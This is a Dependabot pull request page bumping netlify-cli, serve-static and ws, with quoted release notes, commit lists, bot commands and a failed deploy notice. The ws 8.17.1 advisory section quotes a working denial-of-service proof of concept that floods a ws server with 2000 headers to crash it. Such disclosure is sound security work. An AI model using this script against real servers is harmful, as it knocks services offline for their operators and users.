build(deps): bump the npm_and_yarn group across 1 directory with 3 updates

[dependabot]

Bumps the npm_and_yarn group with 1 update in the / directory: netlify-cli.

Updates netlify-cli from 17.23.2 to 17.37.0

Release notes

Sourced from netlify-cli's releases.

v17.37.0

17.37.0 (2024-10-11)

Features

• deploy: print edge function logs url (#6851) (b996f92)

Bug Fixes

• deps: update dependency cookie to v0.7.0 [security] (#6856) (01810d5)
• deps: update dependency envinfo to v7.14.0 (#6860) (7805687)
• deps: update dependency http-proxy-middleware to v2.0.7 (#6852) (e1e7c72)
• deps: update dependency listr2 to v8.2.5 (#6853) (b59f28b)
• deps: update dependency log-update to v6.1.0 (#6861) (33f449f)
• deps: update dependency ora to v8.1.0 (#6862) (d459d4e)
• deps: update dependency pump to v3.0.2 (#6859) (f3f6d0a)
• deps: update dependency update-notifier to v7.3.1 (#6863) (db8c10a)
• deps: update netlify packages (#6868) (0944c42)
• deps: update netlify packages (#6869) (48e032f)

v17.36.4

17.36.4 (2024-10-01)

Bug Fixes

• deps: update netlify packages (#6847) (e51bb28)

v17.36.3

17.36.3 (2024-09-30)

Bug Fixes

• deps: update dependency @​types/node to v20.16.10 (#6843) (55830eb)
• deps: update dependency debug to v4.3.7 (#6844) (517e734)
• deps: update dependency express to v4.21.0 [security] (#6839) (0728f80)
• deps: update netlify packages (#6833) (18c53bd)
• deps: update netlify packages (#6837) (1e0ac96)

v17.36.2

17.36.2 (2024-09-20)

Bug Fixes

• deps: update netlify packages (#6814) (561e16a)

... (truncated)

Changelog

Sourced from netlify-cli's changelog.

17.37.0 (2024-10-11)

Features

• deploy: print edge function logs url (#6851) (b996f92)

Bug Fixes

• deps: update dependency cookie to v0.7.0 [security] (#6856) (01810d5)
• deps: update dependency envinfo to v7.14.0 (#6860) (7805687)
• deps: update dependency http-proxy-middleware to v2.0.7 (#6852) (e1e7c72)
• deps: update dependency listr2 to v8.2.5 (#6853) (b59f28b)
• deps: update dependency log-update to v6.1.0 (#6861) (33f449f)
• deps: update dependency ora to v8.1.0 (#6862) (d459d4e)
• deps: update dependency pump to v3.0.2 (#6859) (f3f6d0a)
• deps: update dependency update-notifier to v7.3.1 (#6863) (db8c10a)
• deps: update netlify packages (#6868) (0944c42)
• deps: update netlify packages (#6869) (48e032f)

17.36.4 (2024-10-01)

Bug Fixes

• deps: update netlify packages (#6847) (e51bb28)

17.36.3 (2024-09-30)

Bug Fixes

• deps: update dependency @​types/node to v20.16.10 (#6843) (55830eb)
• deps: update dependency debug to v4.3.7 (#6844) (517e734)
• deps: update dependency express to v4.21.0 [security] (#6839) (0728f80)
• deps: update netlify packages (#6833) (18c53bd)
• deps: update netlify packages (#6837) (1e0ac96)

17.36.2 (2024-09-20)

Bug Fixes

• deps: update netlify packages (#6814) (561e16a)

17.36.1 (2024-09-19)

Bug Fixes

... (truncated)

Commits

• 9fe2946 chore(main): release 17.37.0 (#6855)
• 48e032f fix(deps): update netlify packages (#6869)
• 0944c42 fix(deps): update netlify packages (#6868)
• 4704349 chore(deps): bump path-to-regexp from 6.2.2 to 6.3.0 (#6866)
• 3737c6c chore(deps): update dependency verdaccio to v5.32.2 (#6793)
• db8c10a fix(deps): update dependency update-notifier to v7.3.1 (#6863)
• e52e4de chore(deps): add missing @​types/lodash dev dependency (#6864)
• d459d4e fix(deps): update dependency ora to v8.1.0 (#6862)
• 33f449f fix(deps): update dependency log-update to v6.1.0 (#6861)
• 7805687 fix(deps): update dependency envinfo to v7.14.0 (#6860)
• Additional commits viewable in compare view

Updates serve-static from 1.15.0 to 1.16.2

Release notes

Sourced from serve-static's releases.

1.16.0

What's Changed

• Remove link renderization in html while redirecting (expressjs/serve-static#173)

New Contributors

• @​UlisesGascon made their first contribution in expressjs/serve-static#173

Full Changelog: expressjs/serve-static@v1.15.0...1.16.0

Changelog

Sourced from serve-static's changelog.

1.16.2 / 2024-09-11

• deps: encodeurl@~2.0.0

1.16.1 / 2024-09-11

• deps: [email protected]

1.16.0 / 2024-09-10

• Remove link renderization in html while redirecting

Commits

• ec9c5ec 1.16.2
• f454d37 fix(deps): encodeurl@~2.0.0
• 77a8255 1.16.1
• 4263f49 fix(deps): [email protected]
• 48c7397 1.16.0
• 0c11fad Merge commit from fork
• See full diff in compare view

Maintainer changes

This version was pushed to npm by wesleytodd, a new releaser for serve-static since your current version.

Updates ws from 8.14.2 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
• @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
• @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
• @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
• @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions
  You can disable automated security fix PRs for this repo from the Security Alerts page.

[socket-security]

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package	New capabilities	Transitives	Size	Publisher
npm/[email protected]	environment, filesystem, network, shell, unsafe Transitive: eval	+683	598 MB	netlify-bot

🚮 Removed packages: npm/[email protected]

View full report↗︎

[netlify]

❌ Deploy Preview for recaptime-squad-wiki failed. Why did it fail? →

Name	Link
🔨 Latest commit	9f87383
🔍 Latest deploy log	https://app.netlify.com/sites/recaptime-squad-wiki/deploys/67107804a7a1e80008f76268

[dependabot]

Superseded by #7.